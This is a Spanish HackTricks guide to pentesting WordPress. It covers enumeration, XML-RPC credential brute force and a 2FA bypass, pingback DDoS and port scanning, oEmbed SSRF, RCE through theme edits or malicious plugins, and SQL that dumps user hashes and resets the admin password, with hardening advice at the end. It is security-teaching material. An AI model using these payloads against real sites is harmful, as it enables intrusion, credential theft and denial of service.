hacktricks/network-services-pentesting/pentesting-web/wordpress.md

21 KiB

Wordpress

Aprende a hackear AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:


Utiliza Trickest para construir y automatizar flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.
¡Accede hoy mismo:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}

Información Básica

Los archivos subidos van a: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Los archivos de temas se pueden encontrar en /wp-content/themes/, por lo que si cambias algún php del tema para obtener RCE probablemente uses esa ruta. Por ejemplo: Usando el tema twentytwelve puedes acceder al archivo 404.php en: /wp-content/themes/twentytwelve/404.php
Otra URL útil podría ser: /wp-content/themes/default/404.php

En wp-config.php puedes encontrar la contraseña raíz de la base de datos.

Rutas de inicio de sesión predeterminadas para verificar: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Archivos Principales de WordPress

  • index.php
  • license.txt contiene información útil como la versión de WordPress instalada.
  • wp-activate.php se utiliza para el proceso de activación por correo electrónico al configurar un nuevo sitio de WordPress.
  • Carpetas de inicio de sesión (pueden ser renombradas para ocultarlas):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php es un archivo que representa una característica de WordPress que permite que los datos se transmitan con HTTP actuando como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazado por la API REST de WordPress.
  • La carpeta wp-content es el directorio principal donde se almacenan los plugins y temas.
  • wp-content/uploads/ Es el directorio donde se almacenan los archivos subidos a la plataforma.
  • wp-includes/ Este es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets.
  • wp-sitemap.xml En las versiones de Wordpress 5.5 y superiores, Wordpress genera un archivo XML de sitemap con todas las publicaciones públicas y tipos de publicaciones y taxonomías públicamente consultables.

Explotación Posterior

  • El archivo wp-config.php contiene la información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, nombre de usuario y contraseña, claves de autenticación y sales, y el prefijo de la tabla de la base de datos. Este archivo de configuración también se puede utilizar para activar el modo DEBUG, que puede ser útil para la solución de problemas.

Permisos de Usuarios

  • Administrador
  • Editor: Publica y gestiona sus propias publicaciones y las de otros.
  • Autor: Publica y gestiona sus propias publicaciones.
  • Colaborador: Escribe y gestiona sus publicaciones pero no puede publicarlas.
  • Suscriptor: Navega por las publicaciones y edita su perfil.

Enumeración Pasiva

Obtener la versión de WordPress

Verifica si puedes encontrar los archivos /license.txt o /readme.html

Dentro del código fuente de la página (ejemplo de https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Archivos de enlace CSS

  • Archivos de JavaScript

Obtener Plugins

{% code overflow="wrap" %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

{% endcode %}

Obtener Temas

{% code overflow="wrap" %}

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Extraer versiones en general

{% endcode %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

{% endcode %}


Utilice Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Obtenga acceso hoy:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}

Enumeración activa

Plugins y Temas

Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrir todos ellos, necesitarás realizar un Brute Force activo de una lista de Plugins y Temas (afortunadamente existen herramientas automatizadas que contienen estas listas).

Usuarios

Brute Force de ID

Puedes obtener usuarios válidos de un sitio de WordPress realizando un Brute Force de los IDs de usuarios:

curl -s -I -X GET http://blog.example.com/?author=1

Si las respuestas son 200 o 30X, eso significa que el id es válido. Si la respuesta es 400, entonces el id es inválido.

wp-json

También puedes intentar obtener información sobre los usuarios haciendo consultas:

curl http://blog.example.com/wp-json/wp/v2/users

Otro endpoint /wp-json/ que puede revelar información sobre los usuarios es:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Ten en cuenta que este endpoint solo expone a los usuarios que han realizado una publicación. Solo se proporcionará información sobre los usuarios que tengan esta función habilitada.

También ten en cuenta que /wp-json/wp/v2/pages podría filtrar direcciones IP.

Enumeración de nombres de usuario de inicio de sesión

Al iniciar sesión en /wp-login.php el mensaje es diferente si el nombre de usuario indicado existe o no.

XML-RPC

Si xml-rpc.php está activo, puedes realizar un ataque de fuerza bruta de credenciales o utilizarlo para lanzar ataques de denegación de servicio (DoS) a otros recursos. (Puedes automatizar este proceso usando esto por ejemplo).

Para verificar si está activo intenta acceder a /xmlrpc.php y envía esta solicitud:

Check

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Fuerza bruta de credenciales

wp.getUserBlogs, wp.getCategories o metaWeblog.getUsersBlogs son algunos de los métodos que se pueden utilizar para realizar fuerza bruta de credenciales. Si puedes encontrar alguno de ellos, puedes enviar algo como:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

El mensaje "Nombre de usuario o contraseña incorrectos" dentro de una respuesta de código 200 debería aparecer si las credenciales no son válidas.

![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

También hay una forma más rápida de probar credenciales usando system.multicall ya que puedes intentar varias credenciales en la misma solicitud:

Saltar la autenticación de dos factores (2FA)

Este método está destinado para programas y no para humanos, y es antiguo, por lo tanto no es compatible con 2FA. Por lo tanto, si tienes credenciales válidas pero la entrada principal está protegida por 2FA, podrías abusar de xmlrpc.php para iniciar sesión con esas credenciales evitando el 2FA. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la consola, pero aún podrías lograr RCE como lo explica Ippsec en https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS o escaneo de puertos

Si puedes encontrar el método pingback.ping en la lista, puedes hacer que Wordpress envíe una solicitud arbitraria a cualquier host/puerto.
Esto se puede utilizar para pedirle a miles de sitios de Wordpress que accedan a una ubicación específica (causando un DDoS en esa ubicación) o puedes usarlo para hacer que Wordpress escanee alguna red interna (puedes indicar cualquier puerto).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Si obtienes faultCode con un valor mayor que 0 (17), significa que el puerto está abierto.

Echa un vistazo al uso de system.multicall en la sección anterior para aprender cómo abusar de este método para causar un DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Este archivo generalmente se encuentra en la raíz del sitio de Wordpress: /wp-cron.php
Cuando este archivo es accedido se realiza una consulta MySQL "pesada", por lo que podría ser utilizado por atacantes para causar un DoS.
Además, de forma predeterminada, el wp-cron.php se llama en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios con mucho tráfico puede causar problemas (DoS).

Se recomienda deshabilitar Wp-Cron y crear una tarea cron real dentro del host que realice las acciones necesarias en un intervalo regular (sin causar problemas).

/wp-json/oembed/1.0/proxy - SSRF

Intenta acceder a https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net y el sitio de Wordpress puede hacer una solicitud a ti.

Esta es la respuesta cuando no funciona:

SSRF

{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}

Esta herramienta verifica si el methodName: pingback.ping y la ruta /wp-json/oembed/1.0/proxy existen, y si es así, intenta explotarlos.

Herramientas Automáticas

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"


Utilice Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Obtenga acceso hoy:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}

Obtenga acceso sobrescribiendo un bit

Más que un ataque real, esto es una curiosidad. En el CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man podría cambiar 1 bit de cualquier archivo de Wordpress. Por lo tanto, podría cambiar la posición 5389 del archivo /var/www/html/wp-includes/user.php para anular la operación NOT (!).

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modificación de un archivo php desde el tema utilizado (se necesitan credenciales de administrador)

Apariencia → Editor de Temas → Plantilla 404 (a la derecha)

Cambiar el contenido por un shell php:

Busca en internet cómo puedes acceder a esa página actualizada. En este caso, debes acceder aquí: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Puedes usar:

use exploit/unix/webapp/wp_admin_shell_upload

Plugin RCE

Plugin RCE

Plugin RCE

Puede ser posible subir archivos .php como un plugin.
Cree su puerta trasera php usando por ejemplo:

Luego agregue un nuevo plugin:

Suba el plugin y presione Instalar ahora:

Haga clic en Proceder:

Probablemente esto no haga nada aparentemente, pero si va a Medios, verá su shell subida:

Acceda a él y verá la URL para ejecutar la shell inversa:

Subir y activar plugin malicioso

Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y que puede ser explotado para obtener una shell web. Este proceso se lleva a cabo a través del panel de WordPress de la siguiente manera:

  1. Adquisición del Plugin: El plugin se obtiene de una fuente como Exploit DB como aquí.
  2. Instalación del Plugin:
  • Navegue hasta el panel de WordPress, luego vaya a Panel > Plugins > Subir Plugin.
  • Suba el archivo zip del plugin descargado.
  1. Activación del Plugin: Una vez que el plugin se instala correctamente, debe ser activado a través del panel.
  2. Explotación:
  • Con el plugin "reflex-gallery" instalado y activado, puede ser explotado ya que se sabe que es vulnerable.
  • El framework Metasploit proporciona un exploit para esta vulnerabilidad. Cargando el módulo apropiado y ejecutando comandos específicos, se puede establecer una sesión de meterpreter, otorgando acceso no autorizado al sitio.
  • Se señala que este es solo uno de los muchos métodos para explotar un sitio de WordPress.

El contenido incluye ayudas visuales que representan los pasos en el panel de WordPress para instalar y activar el plugin. Sin embargo, es importante tener en cuenta que explotar vulnerabilidades de esta manera es ilegal e inmoral sin la autorización adecuada. Esta información debe ser utilizada de manera responsable y solo en un contexto legal, como pruebas de penetración con permiso explícito.

Para obtener pasos más detallados, consulte: https://www.hackingarticles.in/wordpress-reverse-shell/**

Post Explotación

Extraer nombres de usuario y contraseñas:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Cambiar contraseña de administrador:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Protección de WordPress

Actualizaciones regulares

Asegúrate de que WordPress, los plugins y los temas estén actualizados. También confirma que la actualización automática está habilitada en wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

También, solo instala plugins y temas de WordPress confiables.

Plugins de Seguridad

Otras Recomendaciones

  • Eliminar el usuario admin por defecto
  • Utilizar contraseñas fuertes y 2FA
  • Revisar periódicamente los permisos de los usuarios
  • Limitar los intentos de inicio de sesión para prevenir ataques de Fuerza Bruta
  • Renombrar el archivo wp-admin.php y permitir el acceso solo internamente o desde ciertas direcciones IP.


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Obtén Acceso Hoy:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: